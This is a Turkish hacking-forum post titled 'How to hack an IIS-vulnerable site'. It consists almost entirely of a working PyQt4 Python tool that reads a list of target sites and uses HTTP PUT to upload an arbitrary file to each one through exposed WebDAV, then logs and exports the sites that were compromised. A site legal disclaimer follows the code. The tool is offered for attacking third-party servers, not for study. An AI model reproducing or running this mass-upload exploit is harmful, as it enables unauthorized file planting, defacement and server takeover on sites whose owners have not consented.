ISS Açıklı Site Nasıl Hacklenir ?

MeqaProm

Yeni üye
12 Haz 2019
17
4
Python:
from PyQt4 import QtCore, QtGui
import sys, os, MainWindow, httplib2, time

class WebDavChecker(QtGui.QMainWindow, MainWindow.Ui_MainWindow):

    def __init__(self, parent=None):
        super(WebDavChecker, self).__init__(parent)
        self.setupUi(self)
        self.threadpool = []
        self.hedefSiteler = []
        self.dusenSiteler = []
        self.kaynakDosyaIsim = u''
        self.kaynakDosya = u''
        self.dosyaButton.clicked.connect(self.dosyaSecFunc)
        self.iceAktarButton.clicked.connect(self.iceAktarFunc)
        self.disaAktarButton.clicked.connect(self.disaAktarFunc)
        self.baslaButton.clicked.connect(self.basla)
        self.temizleButton.clicked.connect(self.temizleFunc)
        self.hedefDosyaEdit.textChanged.connect(self.hedefDosyaIsmiFunc)

    def main(self):
        self.show()

    def basla(self):
        if self.dosyaEdit.text() == u'':
            QtGui.QMessageBox.warning(self, u'Y\xfcklenecek Dosya', u'L\xfctfen y\xfcklenecek dosyay\u0131 belirtin.')
            return
        if self.hedefDosyaEdit.text() == u'':
            QtGui.QMessageBox.warning(self, u'Hedef Dosya', u'L\xfctfen hedef dosya ismini belirtin.')
            return
        if len(self.hedefSiteler) == 0:
            QtGui.QMessageBox.warning(self, u'Hedef Site', u'L\xfctfen hedef siteleri y\xfckleyin.')
            return
        self.kaynakDosyaIsim = self.dizgiTemizle(self.hedefDosyaEdit.text())
        self.statusbar.clearMessage()
        self.dusenList.clear()
        self.dusenSiteler = []
        self.baslaButton.setEnabled(False)
        self.disaAktarButton.setEnabled(True)
        self.siteSayisi = len(self.hedefSiteler)
        self.siteBitmis = 0
        self.dusenToplam = 0
        for site in self.hedefSiteler:
            thread = ExploitWorker(site, self.kaynakDosya, self.kaynakDosyaIsim)
            self.connect(thread, QtCore.SIGNAL(u'add(PyQt_PyObject)'), self.dusenlerFunc)
            thread.start()
            self.threadpool.append(thread)

    def iceAktarFunc(self):
        iceAktarDosya = QtGui.QFileDialog.getOpenFileName(self, u'Hedef siteye ait TXT dosyas\u0131n\u0131 se\xe7in.', u'', u'Text files (*.txt)')
        iceAktarDosyaKaynak = open(iceAktarDosya, u'r').readlines()
        self.hedefSiteler = [x.strip() for x in iceAktarDosyaKaynak]
        for site in self.hedefSiteler:
            itemEkle = QtGui.QListWidgetItem(self.hedefList)
            itemEkle.setText(site)
            self.hedefList.addItem(itemEkle)

    def disaAktarFunc(self):
        disaAktarDosya = QtGui.QFileDialog.getSaveFileName(self, u'Kaydedilecek dosyay\u0131 se\xe7in.', u'', u'Text files (*.txt)')
        f = open(disaAktarDosya, u'w')
        f.write(u'\n'.join(self.dusenSiteler))
        QtGui.QMessageBox.information(self, u'D\u0131\u015fa Aktarma', u'D\u0131\u015fa aktar\u0131ld\u0131: ' + disaAktarDosya)

    def temizleFunc(self):
        self.hedefList.clear()

    def dosyaSecFunc(self):
        self.kaynakDosya = QtGui.QFileDialog.getOpenFileName(self, u'Y\xfcklemek istedi\u011finiz dosyay\u0131 se\xe7in.')
        kaynakDosyaIsim = os.path.split(self.kaynakDosya)[1]
        self.dosyaEdit.setText(self.kaynakDosya)
        self.hedefDosyaEdit.setText(kaynakDosyaIsim)

    def dusenlerFunc(self, dusenler):
        self.siteBitmis += 1
        self.dusenToplam += len(dusenler)
        self.progressBar.setValue(self.siteBitmis / self.siteSayisi * 100)
        self.statusbar.showMessage(u'D\xfc\u015fen site: ' + str(self.dusenToplam))
        if self.siteSayisi == self.siteBitmis:
            self.baslaButton.setEnabled(True)
        for dusen in dusenler:
            self.dusenSiteler.append(dusen)
            self.dusenList.addItem(dusen)

    def hedefDosyaIsmiFunc(self):
        self.hedefDosyaEdit.setText(self.dizgiTemizle(self.hedefDosyaEdit.text()))

    def dizgiTemizle(self, dizgi):
        degistir = {u'\u0131': u'i',
         u'\xe7': u'c',
         u'\u015f': u's',
         u'\xf6': u'o',
         u' ': u'',
         u'\u011f': u'g',
         u'\xfc': u'u'}
        for k in dizgi:
            if k in degistir.keys():
                dizgi = dizgi.replace(k, degistir[k])
                continue

        return dizgi


class ExploitWorker(QtCore.QThread):

    def __init__(self, url, dosyaYolu, dosyaIsmi):
        QtCore.QThread.__init__(self)
        self.url = url + u'/' + dosyaIsmi
        self.url = self.url if self.url.startswith(u'http://') else u'http://' + self.url
        self.dosyaYolu = dosyaYolu

    def run(self):
        try:
            dusenler = []
            yaz = open(self.dosyaYolu, u'r').read().encode(u'utf-8')
            h = httplib2.Http()
            resp, con = h.request(self.url, u'PUT', yaz, headers={u'Accept-Charset': u'utf-8'})
            if resp.reason.lower() == u'ok' or resp.reason.lower() == u'created':
                dusenler.append(self.url)
        except:
            pass

        self.emit(QtCore.SIGNAL(u'add(PyQt_PyObject)'), dusenler)


if __name__ == u'__main__':
    app = QtGui.QApplication(sys.argv)
    app.setStyle(QtGui.QStyleFactory.create(u'plastique'))
    webDavChecker = WebDavChecker()
    webDavChecker.main()
    app.exec_()
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.